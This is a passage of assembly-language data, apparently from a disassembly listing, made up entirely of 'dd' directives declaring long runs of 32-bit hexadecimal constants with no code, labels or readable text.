		dd 0BBC39E85h, 431101DDh, 5EAA6029h, 64683247h,	5C9844F0h
		dd 0FFB308D8h, 0CDC4DB5Dh, 0B3D0A840h, 65012F24h, 2CA4E6FBh
		dd 0CC500F76h, 5DA26027h, 70589CAAh, 0B8269D14h, 91208624h
		dd 281F9C95h, 0C1046904h, 2101FF33h, 6D27F833h,	52E4D7D4h
		dd 5B220546h, 0C2F056h,	0C874DC58h, 3D0C5F28h, 190FB152h
		dd 8692185Eh, 806C886Ah, 902E5F33h, 0A003C401h,	0ED81ADA8h
		dd 6A47664h, 3C1E7260h,	43CB3038h, 0B59EE2D9h, 9528B203h
		dd 99E158D1h, 0FDD5F037h
		dd 0E5003C38h, 0F54D6C6Dh, 0FE0C3D72h, 0C9ED468Ch, 9088008Bh
		dd 0C0599139h, 0D01D8E52h, 0D242CF85h, 88ABA879h, 6BAB4CCh
		dd 5D8F6C1Fh, 2C8D1611h, 0D080206Eh, 0FD5B3A51h, 42A52C49h
		dd 256484C8h, 9D640453h, 61CC01BEh, 58201DA0h, 58D53E9Eh
		dd 7FB2597h, 0C67EA694h, 210028E4h, 0D9205466h,	246BCF57h
		dd 80D48A9Ah, 0D1449017h, 10608629h, 77DFD948h,	0E27403DBh
		dd 628E49CCh, 0A6A81806h, 6850C219h, 0AD0B1DFh,	8C84EEADh
		dd 0C31941CBh, 13854200h, 4036A524h, 7107009Bh,	3725CF15h
		dd 0DB18886Ch, 9A39F6A7h, 4E4A099Bh, 0D44DC73Fh, 0FE2CA9E1h
		dd 0A1359712h, 0E7360820h, 0D1CD6BC0h, 227F8112h, 30C9F2A8h
		dd 182D92C6h, 1A8D621h,	7CDBDCD5h, 46C884AAh, 1000487Ah
		dd 53C47226h, 56502795h, 15540CC0h, 4AF084h, 0F2C88825h
		dd 64CC836Ah, 0B1822708h, 9E142365h, 0CB790C58h, 0C71F7830h
		dd 0CC04134Fh, 63002556h, 53B47C30h, 0C2812B00h, 0C0BC4824h
		dd 7116374Eh, 0B07E9190h, 18BA21h, 0C6742B4Ah, 74711750h
		dd 2880D9BEh, 67B3D023h, 6782C3Ah, 0B0721451h, 0CC791878h
		dd 15663157h, 72597861h, 0C4D62CAh, 109074h, 53C27D27h
		dd 4FB1752Fh, 66881450h, 0CD7C3116h, 0C6F31890h, 45774F29h
		dd 88C3F0F8h, 0A249241Ch, 30204F1Ch, 50C1C5B9h,	0F4A4E418h
		dd 6E19C1F7h, 218F7A2Ch, 0CE34642Ch, 7CA6E42Eh,	64DFD789h
		dd 0A25A0988h, 0B0925E74h, 0A06CD460h, 14FC6403h, 401624Bh
		dd 66A2E471h, 0A1A0C13Bh, 0C7E0D4EBh, 0CCA9AB62h, 9FA40320h
		dd 0A3DC48A8h, 3446F120h, 48E139CAh, 6586E418h,	786812FCh
		dd 32C98925h, 0FE020020h, 0EB9AE040h, 0A259C29Eh, 7C2247F6h
		dd 30B006E6h, 3684089h,	3B3806E9h, 0B8E55B73h, 0B0294562h
		dd 0FD846924h, 460C7069h, 0CA309BACh, 0CC59D860h, 0A090F731h
		dd 0C11647C8h, 19DCF4D1h, 40A4718Dh, 0CBEAAEE8h, 2E94CBEh
		dd 9D331D4h, 598698E8h,	31347237h, 15199B26h, 0FC6A2A46h
		dd 8D9EA002h, 5CFB1C3Ah, 13C5B889h, 0CA17CFCh, 0DCA6AA28h
		dd 175AAF31h, 4CE8A00Ah, 58DD748Ah, 826C302Fh, 0D0124D61h
		dd 6081396Fh, 0BF99D56Eh, 882431h, 504C2095h, 468C6A54h
		dd 0CDB4C1DFh, 0A448D431h, 0B2494272h, 0E6691812h, 51B8D28Ch
		dd 81885CACh, 15F1EC42h, 66C4DE90h, 42506645h, 5C04217Bh
		dd 433C08E5h, 3F96F1F3h, 1164210Ah, 0FDFEA854h,	1162210Ah
		dd 42DAA88Ch, 44508848h, 0AA106AA4h, 1145A238h,	881FF2DCh
		dd 385132BEh, 428DF408h, 0B4336D36h, 99025088h,	2661086Ch
		dd 0A2428CA4h, 0B44C68CEh, 602E4828h, 0B1C1A882h, 40C15C52h
		dd 21624AF2h, 0CEA90810h, 0E8F7D33Ah, 2440C58h,	48947CC7h
		dd 0EC91EB0Ch, 0A2DB9009h, 116CACC9h, 0A91269A3h, 51778C10h
		dd 0FF85D099h, 7411C4EFh, 70462E50h, 4E1F7468h,	204D40F2h
		dd 0A6A5F86Eh, 0B056A0A4h, 60F05398h, 5F875249h, 49CA2E67h
		dd 0A8568B40h, 7C2AC400h, 130212B3h, 2566C677h,	0A010E3C5h
		dd 63CD86h, 56B7736Ah, 51EADA4Eh, 0FF822F1Fh, 0C2771500h
		dd 0B07D1412h, 716804C4h, 0C71749C7h, 282C469Dh, 9CD11CBh
		dd 55A180C4h, 58C47B31h, 0C203DC12h, 0B6876856h, 0CCE129C3h
		dd 0B1607066h, 775C18F0h, 86160500h, 842210CAh,	0F504B547h
		dd 0B19BFB82h, 0B0B44055h, 6D120A10h, 5018F2C3h, 7C94D046h
		dd 7078C758h, 0E04025FFh, 7C306C34h, 7EAA5923h,	28DC5C21h
		dd 4EEBF605h, 0E650C143h, 0E1A800A6h, 8D250755h, 0A0EDC4F0h
		dd 3DBF9AE0h, 8C8B6C03h, 0E046DCA8h, 9582972Fh,	4AE04410h
		dd 0AD7A9C08h, 60421F9Fh, 0C776AA08h, 149A0BAEh, 0F40D888h
		dd 72C9E52Dh, 4637E85Ah, 7D86087Fh, 0D52502F9h,	575F77DFh
		dd 8C79430h, 854FAA48h,	4A7A59F0h, 6E1CC0B6h, 725B7BCDh
		dd 30480042h, 967CC815h, 6168C6D0h, 0CF60F85Fh,	42725A81h
		dd 0DCA295D6h, 0EC039C7Ah, 5550194Eh, 482D78AEh, 0D22B3CD4h
		dd 0CFB98C81h, 0E68C4811h, 27277B81h, 0C00453C3h, 67FF4047h
		dd 0A1D0F15Fh, 1980F5BEh, 0C3FD876Ch, 0EB095A29h, 68B83CE9h
		dd 0A123E52Ch, 892E048h, 0DF287177h, 0B86422F2h, 2D09CE6Fh
		dd 0C0DADE07h, 0FE1A51A7h, 99499A00h, 7CF4126Ah, 686327C6h
		dd 77230000h, 88F04DBEh, 261678B3h, 15645002h, 0E054C37Bh
		dd 2FE3C5h, 4FCAC4F7h, 0ED0D8224h, 3DF4C14h, 7DAC060h
		dd 1516103Dh, 45D1769h,	29494283h, 680CEAE7h, 49D10308h
		dd 51E47D27h, 35EB8574h, 40607899h, 4088AC43h, 0A0A71373h
		dd 5F99E448h, 104C8FC9h, 6470A6BDh, 4A1E0963h, 0BD8305Bh
		dd 0D2F781F1h, 0E1441094h, 5169CA95h, 0CF086838h, 46480385h
		dd 10285F70h, 9CF20F26h, 5FE185DDh, 0E2C46218h,	8C08E8EAh
		dd 33EBC0C0h, 982A10Bh,	0F0806A18h, 64E0864Ch, 48410944h
		dd 224F9142h, 4E4D4450h, 4C124B89h, 4A484924h, 38223791h
		dd 89363544h, 3B27F033h, 0EC96F801h, 0E38CF246h, 0F41EA851h
		dd 8420B894h, 49742B2h,	8525B59h, 85BC8017h, 1D47F704h
		dd 4FF21E3Ah, 0B88C24E4h, 63077CE0h, 48F91FC4h,	49590460h
		dd 0E872F86Ah, 0C3DBE962h, 47F8C15Ah, 0B44010EBh, 0E6181FC3h
		dd 0E4637B00h, 0F0494C1Fh, 6B174AAEh, 443FF48h,	0F7C9AAFFh
		dd 0D7801471h, 0D39BF642h, 89A1E048h, 0E0384A65h, 101655B5h
		dd 3F2CF95h, 971768EEh,	0F00922F1h, 4171882h, 0A0C05DF5h
		dd 1683ECBh, 0E416EA37h, 0D3C5173Ch, 5FED2114h,	2400AE38h
		dd 0B2F02788h, 0BD3E6787h, 237218EEh, 18FF18h, 1ED91A74h
		dd 225A3466h, 0F06C1CA1h, 0F805A6CDh, 0F6FFA282h, 0F52B2822h
		dd 43FE438h, 0EEE1A13Bh, 31EB4C28h, 9B7C0Ch, 0D63EE05Eh
		dd 8DE2A2B6h, 0BB9AC500h, 21B29E38h, 0D0B0C086h, 3D0F2229h
		dd 447DE328h, 0C8CEDB00h, 55B56BEEh, 41FE0022h,	57174866h
		dd 5206ECE0h, 12BA5A67h, 0F8D54A38h, 0E65B8044h, 2F945Dh
		dd 67B90491h, 0E28D5C8Bh, 0AD6A800h, 3A8ABA66h,	30EA29h
		dd 0B25ABADh, 10A77E71h, 1805C133h, 0B5A08B13h,	0BD192C40h
		dd 299D8Eh, 64AAFA9Eh, 43463BD5h, 62602C73h, 3C6A7572h
		dd 71C500B6h, 0DF7F6FA3h, 0AC00FAC8h, 0A6A7672Eh, 3ECF999Eh
		dd 2218F91Ah, 0A02C19A9h, 3D659A00h, 3BEBBB57h,	0C9C42AF0h
		dd 0A26017E8h, 726CFC3Ah, 40915760h, 0E1244E3h,	2EB87E4Fh
		dd 284A0661h, 0B781ECF6h, 0D100E870h, 4BDADE58h, 97B140h
		dd 829AE03Ch, 55EA7D5Eh, 0FE585F00h, 94EC2AA8h,	0A303006Dh
		dd 97DD7017h, 82008163h, 59DA4A3Ah, 0EF8B8Ch, 0FD9C6B6Ch
		dd 1F8E8655h, 0D7AA4F00h, 8F7B42BDh, 9D2F00B8h,	7C23B4D9h
		dd 0A0E8DC4Ah, 38CBEB00h, 27C9D78Bh, 0B4ED07A4h, 0C07D3A54h
		dd 0EA86B834h, 88013874h, 8BA132C0h, 0E0D3571Fh, 30AE34DDh
		dd 0D340C5E3h, 0A00229CAh, 9C2FE0EFh, 0A14090F1h, 4CC51EDCh
		dd 95D8079Bh, 38C3C17Eh, 309BE2AEh, 0A7319805h,	1C30B4DDh
		dd 40A434E7h, 8D073AD6h, 0DCAE2FBEh, 60323145h,	198C8295h
		dd 604B792h, 70B4DCA7h,	600ADD0Eh, 22D08264h, 0F118B03Dh
		dd 9D380FC9h, 6CE0CAF0h, 0B422FF46h, 2C1FDD2Bh,	0D7B82F05h
		dd 9DABC403h, 7E96E009h, 383D56FDh, 0F3003A3Eh,	0C379968Bh
		dd 0EB74A82Eh, 47144157h, 3E190040h, 56F3B096h,	0B9F11DA6h
		dd 0BE7E0A34h, 22BD81F8h, 440548B5h, 0AF042A4Ch, 0EA738B00h
		dd 0E98F8145h, 0A6874E00h
		dd 7EAB791Fh, 133C74CAh, 230B486h, 0B835F334h, 0DDA3006Bh
		dd 4AAB78C0h, 9922F612h, 0F1AE9840h, 46E67C6h, 0A423BB7Eh
		dd 0AA40C388h, 0A840F4C2h, 4126CA97h, 6C6A20ABh, 0C9D69601h
		dd 0EC21AC4Ch, 67450ABh, 91B07862h, 4156082h, 530C89FFh
		dd 2EBD3000h, 0E416AAAEh, 9049A125h, 6F40315Ah,	7755824h
		dd 27C0DC9Eh, 71FD40A0h, 0D098EE8Ah, 3D7AB01h, 0C2EBA972h
		dd 0C4DD4089h, 0CBAAC080h, 86079D4Dh, 87A73CFFh, 7894947h
		dd 0EB50AB8Ch, 0A530BBh, 0B122C0F0h, 0A629B8DCh, 5DAC20E9h
		dd 0CA0DA48h, 10CBE3A8h, 60C76286h, 0AC43C0D8h,	0A4255800h
		dd 0AE75B4EFh, 5D40C1E2h, 0D128BED3h, 5AC88FEBh, 0A44C07D9h
		dd 7CA6304Ch, 0A72831AAh, 0F0DDA5A1h, 0F101AB21h, 0EF9C23B6h
		dd 984991FDh, 94AA040Fh, 25BEA0F8h, 0F1FFF0A0h,	0B002D473h
		dd 0AA9E3DC5h, 677860CCh, 0A334DC0Bh, 0B0F887D7h, 4EB83A79h
		dd 0D2AC1218h, 0E3F009BBh, 0F1A41C81h, 20A7D1CBh, 5A1F2FE8h
		dd 3030D0ECh, 0B0A529BEh, 66BCF17Ch, 0EBB83602h, 0C0476FBCh
		dd 0F5F8CAD7h, 0EDA14385h, 0BD77C490h, 59B4B036h, 0FFC4E4B4h
		dd 0B90CD832h, 871698B0h, 0DC0E39CFh, 0D81D92B4h, 0CAC62837h
		dd 90C49A20h, 34FF311Ch, 61A62209h, 4CE44AC4h, 0A03869DCh
		dd 0A59121C0h, 1320B886h, 0DC4F195h, 0F169D710h, 0EE9BE0BEh
		dd 20B922E8h, 2CDDA70Ah, 0E63C435Ah, 29CA0980h,	3486DC9Ch
		dd 230158B5h, 30BEED5Dh, 32F387AAh, 9880B0B0h, 5040189Ah
		dd 389B5EC6h, 43DF25Fh,	3DED015Fh, 6CDE7E64h, 88678184h
		dd 140F39D7h, 0E818AB79h, 2C8B25Ah, 0B4888029h,	689DAE2Fh
		dd 8B38ECE0h, 29C416E2h, 2FD805A1h, 0A464D08Ah,	367CB4EEh
		dd 0F8D918AAh, 7508194h, 8545D8AAh, 0AB23D441h,	0FAF2074h
		dd 0A131C0E2h, 0AE3DB480h, 3274B8DCh, 2FBEE317h, 464B7827h
		dd 7F953AD4h, 0A458CB00h, 0A623C088h, 38BCF01Eh, 87E5860Bh
		dd 3327E38Ch, 549081CBh, 58D1838Ah, 50010BF2h, 804CC789h
		dd 86B23821h, 0E89B34C9h, 0A42E2EC0h, 0D8A19280h, 91303DC8h
		dd 0DA7D68CFh, 0E0B850h, 1CD736B8h, 0C3C042D6h,	0EE46D51Eh
		dd 93119500h, 3A9DC9h, 26D617DCh, 229FC6E8h, 9601D174h
		dd 0A1EADA1Ch, 91D0D73Bh, 74C8F011h, 0CD73038Ah, 0C6D3269Fh
		dd 600530C3h, 17D13A9Ch, 9980342Fh, 0C117E11Ch,	0EE263Eh
		dd 0C2D72096h, 3D41D8Eh, 0B3638B2Eh, 0B7A0B6BAh, 0EEE4A01Ch
		dd 3B9CEA0Ch, 7D721DBh,	0D211A212h, 0DD3A402Dh,	1331D630h
		dd 0EE2390DBh, 608F9CC9h, 949FB68Ah, 0EAC13830h, 0D0BB33AEh
		dd 0E10011AAh, 0E563A031h, 0C01F9722h, 0E42B8A20h, 20748F1Ch
		dd 1D952301h, 269DC690h, 1DA016D0h, 0F17E23Ah, 8E81C183h
		dd 86BDE711h, 9123E5E8h, 0C5CB1D28h, 9FB70F5Ah,	3DCDC8Ah
		dd 9A23DB14h, 0AE17201Ch, 912BE187h, 9431DA60h,	22E43063h
		dd 971CD4E8h, 2AD6153Ah, 0B051C4F6h, 0D48C0880h, 0D340D507h
		dd 0E4A09430h, 33A8BEAh, 2FD616DAh, 881431EEh, 0ADC1DE1h
		dd 0D0B0EAE0h, 0DCE8D820h, 1F03AFF0h, 10992DDDh, 1BC5C09Dh
		dd 0A12B01D7h, 0F4849C26h, 0A2B04220h, 60D5F0A6h, 4395181Fh
		dd 9E8B1C0Fh, 28C3DE28h, 4421D62Fh, 5223C818h, 8A0758A1h
		dd 43707FEFh, 81882EBh,	0A03030E2h, 1C9C492Ah, 0D61DDB00h
		dd 9A1AE022h, 2B534490h, 782029F4h, 9D169F0Fh, 3849A1Ah
		dd 0E0D363C8h, 7CEE3ABBh, 0E82266C6h, 0F080C0B2h, 44AAD71Dh
		dd 0E0F50417h, 73033418h, 7D373Fh, 53F71AEDh, 3F726EFEh
		dd 5898F624h, 0C4EA318Dh, 3CCC000h, 0B7467AAh, 7308CCB2h
		dd 0BC00B921h, 0F2292BC0h, 0F85BF94Dh, 0EAE60FCEh, 4A008202h
		dd 0A36B188Ch, 0B818FFDh, 0C82CE138h, 9EF0A43Ah, 0D68063Eh
		dd 90823B63h, 8302E7E4h, 8B92CF72h, 0C610C004h,	6DEB006h
		dd 0AEE83605h, 0FB018076h, 8F7996F7h, 0E0E77478h, 1820558h
		dd 47C93D6Dh, 0E3CF5FF1h, 1305207Fh, 0E7C0BA84h, 469B2038h
		dd 1483586Dh, 80A0BBBEh, 2D30C190h, 0D21E03FBh,	0D1B6F383h
		dd 210085A3h, 5030E9B5h, 288B19D3h, 0FC1C65BBh,	0FAE40394h
		dd 231E056Eh, 4D028DE0h, 49A69500h, 0F188716h, 19E0C1BEh
		dd 46F707FFh, 0AB0610C8h, 75975FF0h, 7A1628C9h,	8873E298h
		dd 0BF287DE4h, 6E30B830h, 0EFEB180h, 6D520E41h,	49A5A172h
		dd 7B1C62C8h, 0A92806h,	0F0830F70h, 8CED8110h, 0CDB54100h
		dd 8BFFF98h, 372066Fh, 4077CF63h, 0E7703506h, 8071811Dh
		dd 3C34DB6h, 0F1D6DC1Ah, 830B402h, 0C746216Bh, 3F84004Dh
		dd 0FBD04BCAh, 4C060855h, 0D54F271Bh, 799E0CF0h, 30F867C0h
		dd 99775831h, 15E46435h, 24F7F24Eh, 0F30E326h, 0CFC2C1CBh
		dd 1448A8DAh, 2FE0F6C7h, 50EEEB31h, 0C0EC9B8Ah,	527873BDh
		dd 73117427h, 9C1C9114h, 0A86D56E0h, 504679h, 0E0DA2553h
		dd 34CF7924h, 388A76Eh,	1AFED7C4h, 57D9909h, 0FA8020ECh
		dd 0A075C6CEh, 18839814h, 21F1A2C0h, 310747CFh,	944476B2h
		dd 809593Fh, 33AF8983h,	39986C31h, 88392FBAh, 0FC239801h
		dd 919A9CB9h, 180447Ch,	0F6523018h, 247869A8h, 0F39856E7h
		dd 9C6F4AECh, 9C40FF9Ch, 26788CE0h, 0B2C803B1h,	82EAD6DEh
		dd 54D2D005h, 6C0818F3h, 3141CFC3h, 183C76B3h, 32B08809h
		dd 765A313Ah, 7A3E5F00h, 5233F29Ch, 0D8231363h,	74080A78h
		dd 0A36F409Ch, 1012F6C8h, 907AF132h, 86516411h,	0B1EBA3h
		dd 0CFB886D3h, 0CBFF18CDh, 4CA38092h, 8308CCEFh, 0D28F2F14h
		dd 0FC6048BCh, 0E179473Fh, 840E793Fh, 0B530B7C2h, 0FB104930h
		dd 82C8D1BEh, 30BDB180h, 25871E2h, 0C7ECD66Fh, 24972843h
		dd 57818811h, 921D7098h, 0BC4FA64Eh, 195F01BAh,	0A9E4D329h
		dd 8388072Ch, 0D32E2DFCh, 0B5980CE3h, 7B140369h, 28A8ADB7h
		dd 2C12DC4Ah, 9C429707h, 0A0F5A2C1h, 0D4622FD4h, 0B30200A0h
		dd 0B1E85C84h, 0C2073A0Dh, 8BBA6695h, 853D6ED0h, 22CB1D2Dh
		dd 0F3AB0186h, 26C28397h, 31490350h, 0F41476C0h, 0AD00BC8Bh
		dd 0E8D33135h, 0A33E6533h, 132F08A7h, 5BA10FD8h, 8C918229h
		dd 8CA18E8h, 0E41AC44Dh, 4100D1CFh, 20854DC2h, 27165F7Ah
		dd 9300D23Fh, 6B0F5572h, 2C965001h, 0CD048CE9h,	0EC1AC54Dh
		dd 44278762h, 2CE04DE0h, 493D2CB0h, 0FB6B0C2Ch,	1B5846B1h
		dd 7DCB20FCh, 878B2B03h, 600D7860h, 80A9EE6h, 0D83BF8DCh
		dd 6A61C5C0h, 0F4BA78F6h, 76CE0185h, 0EB077B7Fh, 3DA04AFFh
		dd 187D247Ch, 0D0F8A28Ah, 1E16A580h, 8CFE62h, 529DCFC8h
		dd 463D617Dh, 70F7FF09h, 18840366h, 0B4990074h,	3964A4A1h
		dd 0B300F453h, 9104921Dh, 870D2Dh, 229ECD5Ah, 3408CFFh
		dd 8B5B8317h, 0DA678821h, 398C3008h, 308C0C8h, 0A96463CAh
		dd 7DFCCD4Fh, 0EC320070h, 88450BD1h, 6B183813h,	40608967h
		dd 0F27189Bh, 7B97B072h, 69FAE00Ah, 465EF036h, 0A9C90088h
		dd 0FBA1DBB2h, 0BC210EFAh, 0C8014203h, 5097278Ch, 0B27918B0h
		dd 7194FE53h, 0DC9AD779h, 0D43A6D2Eh, 6B16BC28h, 0F0227E9Bh
		dd 4DB630BCh, 0C41AC811h, 3D827388h, 40254DCEh,	82D18B2Ch
		dd 0F93B7C10h, 841F5F11h, 1234CE50h, 60691947h,	724B0200h
		dd 0DB125812h, 0E4BA8062h, 25390FA8h, 0BE805FCAh, 139E4C4Eh
		dd 0F23EB0F2h, 59D1003Bh, 2307771Dh, 2614B8E5h,	4DECF77Dh
		dd 0F9CE7F8h, 88CA8632h, 7CAD0A90h, 89E472FEh, 0FC2001A3h
		dd 1713B63Bh, 83137698h
		dd 73039C20h, 0E8EEDEE2h, 311EFF59h, 4A682221h,	0C77C6054h
		dd 312E048Ch, 631C76BFh, 0AC2100FEh, 8D6B3136h,	7C981F66h
		dd 8CAE6720h, 739206E0h, 68D4F107h, 92C32D3Ah, 0E414A8EDh
		dd 1BB231Ch, 1AC74DCBh,	83D823BCh, 0F84DC342h, 5F045C2h
		dd 97D079Fh, 0CFDC0435h, 2A304CAh, 9B607CC9h, 5CD9006Dh
		dd 0EF15D5A7h, 3113BFE9h, 280214F7h, 4C54CE22h,	9CB548F8h
		dd 8D282F23h, 0B203C712h, 0CA0024CBh, 0F4CDC0C5h, 220110BEh
		dd 2F7ABBD9h, 9080F217h, 26A19DC1h, 0A8CF7991h,	1C28935Fh
		dd 0C0663DFFh, 0D0009453h, 2B223C05h, 21E9D7A9h, 0C1D00274h
		dd 11314830h, 882C76B5h, 30B280FDh, 1F112B31h, 620B8B0h
		dd 247A764Eh, 502474DEh, 0FF259AAEh, 22A8805Fh,	0B3FD721h
		dd 67CCF50Dh, 0B0A51414h, 8B6074C4h, 0E852371Bh, 10D04C74h
		dd 0C0C1BBBDh, 0F6FB4A30h, 0E8B2001Ch, 0CD506330h, 0DCB84195h
		dd 90AA45E4h, 0D8C08C6Dh, 908C2986h, 0F922121Bh, 73C0043Ah
		dd 0B06709DBh, 4A7C1404h, 7888410Ch, 80E472F7h,	5E6DD828h
		dd 129E60F5h, 5EDACF77h, 8B07C428h, 965CC870h, 0FC277641h
		dd 7B007F22h, 0E3CB8E6Ah, 6E1B45Ch, 8613EAFFh, 7778E036h
		dd 0A7CC24Dh, 0E82F0FF9h, 930788B8h, 88FB1D8Eh,	2D12851Fh
		dd 1C226C60h, 0F5F9F0A6h, 0FBB8DC28h, 0F40C7F43h, 1FA99916h
		dd 376A6D00h, 0F3A0DCADh, 1DBE09E6h, 0FC188D27h, 0AB2862E3h
		dd 18269C9Dh, 7CC18868h, 700078FCh, 0C7267AE3h,	40921C88h
		dd 0C036C008h, 3CEC0C2h, 0A6229A46h, 0C0BAB700h, 0F36AE328h
		dd 884B16Fh, 0A213F137h, 5B98E090h, 8B1E00F3h, 5E2209CEh
		dd 0B39D0CFh, 5671841Dh, 88982CD7h, 77BA24B2h, 0C0089D3Ch
		dd 44D75139h, 9EE8F5EDh, 2BFD9402h, 657B7303h, 0D5F4B17Ch
		dd 22046790h, 9B500083h, 0C1277305h, 2B00AE12h,	15CB9306h
		dd 0E0B9FCh, 0D65B34C2h, 0CED13A6Ch, 34DC9224h,	293EA624h
		dd 0AF0FFC80h, 0E47192F1h, 703839ACh, 28C73B8h,	9CF32233h
		dd 0AC403B68h, 0CE0080CBh, 0DB3A9DB4h, 97B741Ch, 6F0A770Fh
		dd 0E4241C45h, 387465Ch, 1CB761C1h, 43780917h, 8C339964h
		dd 0FBB91893h, 0BA840DEh, 0A113E73Fh, 8854E87Ch, 522601DAh
		dd 0DF2F1909h, 49858DFh, 9708F10h, 60D7F6C1h, 75B680h
		dd 92221CA7h, 0F5526D9Fh, 0C8A8067Ch, 0DF305FFBh, 0D726785Eh
		dd 9C7B4856h, 8A9CF001h, 66942D7Dh, 0F247964h, 8D812CF2h
		dd 1C7C5DE9h, 181840D4h, 880D4E67h, 0D7839817h,	4DA4BACBh
		dd 9536E07Ch, 7324DE81h, 0D847805Bh, 876B77B0h,	0F3AF008Ch
		dd 0DE74407Dh, 0E0981E02h, 793ADB02h, 906B91BBh, 0F321C0h
		dd 0D84551A4h, 3315B859h, 0DA04B4B8h, 730B076Ch, 14979909h
		dd 61800388h, 30828C72h, 6113E234h, 0F861DE8Dh,	62FDFFFBh
		dd 57B0B451h, 0AC009829h, 7E6CDF97h, 0A6009913h, 0B3E62061h
		dd 0E6304D50h, 17B107B2h, 6E5753C3h, 45C6DAA2h,	389E6CC1h
		dd 17992724h, 800311DCh, 48C822AAh, 52F10158h, 15F56CD2h
		dd 0E6BC507Eh, 0CC008C3Dh, 0CF7624A3h, 28059487h, 20A87082h
		dd 68936FC2h, 23080824h, 0F6FE0092h, 726D2794h,	0C076912Bh
		dd 0F0ECA303h, 0A95EE0BFh, 288B2EC5h, 78C42088h, 1C8A02A6h
		dd 7BA15A16h, 7C286C52h, 0B0034FAh, 4B2B9A38h, 0DE80BAD7h
		dd 975040B1h, 0FB04D823h, 0C072CB00h, 81BF992h,	678C0966h
		dd 90829336h, 5400D957h, 7FC1F612h, 41180420h, 0B6362524h
		dd 2EAEB6D8h, 31E6B84h,	0D72542F9h, 0FCA1E5D2h,	10833707h
		dd 0B9EE46F7h, 0B7BF0800h, 485B016Bh, 8426B6FBh, 0B00E8F22h
		dd 0C53B30BAh, 9E015BCBh, 0A1FD80CEh, 1412B830h, 603605D5h
		dd 630FAB9h, 0D30B3EC3h, 0F989B04h, 72A8D257h, 50EED4D3h
		dd 12ED3BC4h, 8690001Dh, 0DF0EFE05h, 0C868B64Bh, 0C220A1A9h
		dd 33050EEh, 957B2683h,	76467CC0h, 2D40C701h, 60796D35h
		dd 8F265BB0h, 3091589Ah, 0DAF94486h, 8000984Bh,	814264C2h
		dd 0AFFF1319h, 4624CBCBh, 0FC40B0C0h, 38B04E5h,	90845B5Ah
		dd 1D510C74h, 7BAC2E00h, 0C94F0117h, 0AC435918h, 242B2181h
		dd 282071AFh, 0DF258000h, 303C90h, 0D3B1FF43h, 0C3FEA087h
		dd 6A1E7D7Ch, 0A24009D6h, 0C7FF18C6h, 58C8D9EBh, 0ED81FC69h
		dd 0F7791F0Bh, 8D48248Eh, 2D2B3280h, 1C045880h,	6BD20C96h
		dd 8C94C720h, 1D88465Eh, 9DC093F4h, 0ADB3E738h,	82F71277h
		dd 0F09000EBh, 26FF7447h, 2423D526h, 0E8E2799Fh, 0D7F7322Fh
		dd 0D0E6E8B8h, 6442B201h, 83E0FB8Eh, 0B69B9F40h, 0F8B00924h
		dd 0C0A02F27h, 300F6169h, 4154E44Ch, 32C06030h,	0C0C6048Ch
		dd 62BA03CAh, 0BECB20A7h, 9F0ACCC0h, 8C78BAC6h,	9FBED39Fh
		dd 2F874BF4h, 0C724E9B7h, 4F27D8C0h, 28728063h,	0F6197474h
		dd 5B39A206h, 0F8007032h, 0E8F0B5B2h, 0F619C4C7h, 8BA02451h
		dd 703721A7h, 0D7F9EB03h, 713B985Ch, 7A0E24CFh,	6C9185ECh
		dd 1AA0413Dh, 6DFD9F27h, 69BD0890h, 0F77D0581h,	6F3091E9h
		dd 73218FDAh, 0F611D19Fh, 72E02D9h, 9302DAE3h, 48B2E5D8h
		dd 0AE3076F2h, 0D8DA00CEh, 8BCA9385h, 0A37348FFh, 0F4C169C0h
		dd 39C8DA5h, 1ADC81F3h,	61935606h, 21D31CB8h, 76319202h
		dd 0F89603F6h, 0F730A4Ch, 31C48BAFh, 18DB33A8h,	0F40A327Dh
		dd 888F8F61h, 513D668h,	247B1408h, 335F06F4h, 6F164876h
		dd 903196CFh, 51A45E6Ch, 85467408h, 0A807A100h,	0CC86BDCFh
		dd 588A489Bh, 5980EC7Bh, 0B07CAE84h, 0B19F0779h, 0E06D12F4h
		dd 6824A499h, 6E1E2D11h, 0B82E5802h, 0D940F87Eh, 0DC0031BAh
		dd 46714EA9h, 1DA2D703h, 987C8B57h, 0CB456884h,	496C2200h
		dd 7B2AAD54h, 0E0D72D0Fh, 2501FC14h, 0E2766894h, 0A820D46Ch
		dd 28E8620Dh, 0FCCC7491h, 19A44B00h, 7C5F3A6Dh,	0F07634D8h
		dd 0F77CA2C8h, 0C172C0E8h, 370EEAC6h, 8063B30Ah, 1EFF7720h
		dd 3B349C7Dh, 17CA610h,	0A426028Dh, 4420312Bh, 0B4048CC1h
		dd 0E6FB4630h, 0BE208962h, 5CE230BCh, 1805C7E8h, 8222C8B8h
		dd 0B050EB00h, 0EEDF920Eh, 0CC90B6F2h, 50FF9078h, 12D840F7h
		dd 9DD16EEh, 0B484C034h, 0F17C46B5h, 8700A69h, 5C503017h
		dd 4D0E8846h, 0C5BE0CA2h, 905B0FFBh, 60774E0h, 2E4C9A48h
		dd 4308D0D0h, 0C8208Bh,	0D3512A48h, 6D865BBAh, 7BCF2715h
		dd 0DAE90398h, 0CBC47155h, 2583CA91h, 97D0C1AAh, 35118A03h
		dd 783AE071h, 0A802274h, 0C03CA973h, 4E4FE470h,	5450499Dh
		dd 6CB80C42h, 0C312F9D8h, 306534D2h, 9CF52864h,	0A0E62095h
		dd 0BC007C4Ch, 0B317CB75h, 5E06CC8Bh, 0A4AFE367h, 0F2B083A0h
		dd 0F7A202F5h, 7BCCEC48h, 67F4A700h, 0B31C932Ch, 0CB071852h
		dd 76C168CEh, 7A2ED713h, 0AB6864D0h, 1878248Ch,	3C7D40D4h
		dd 0F2E0EC1Fh, 0F725B109h, 5B88E0E2h, 0E384A89Ah, 641F5D62h
		dd 69F92100h, 9315D725h, 16C8CA1h, 0FF109913h, 60BCF64Fh
		dd 0F56028A6h, 19210E6h, 0D4E7FFF4h, 44602F01h,	0F2D8F284h
		dd 41D732A7h, 0C9809BF2h, 0FC6AB1A0h, 0C900187Dh, 0BD1EB79h
		dd 0C2292117h, 93279A60h, 5C8B10E8h, 747FBF2Eh,	0D79C034Bh
		dd 0E4115394h, 8E30A8B2h, 0B8212507h, 0D9E03CA0h, 0ED7A1ECAh
		dd 9F713Bh, 0CF2F4EC1h,	971F648Bh, 7D2C6400h, 0E8A8F102h
		dd 5560D4F6h, 0DFFF7A80h, 2CC9001h, 0D22E2F0Bh,	2441DDFAh
		dd 2A3C2460h, 8A5D1498h, 24805034h, 83AEF727h, 0B354D228h
		dd 2592B95Bh, 0DE187B60h
		dd 85AA9DB1h, 0C8CBD32Fh, 5E32498h, 7C3410h, 0F94626BDh
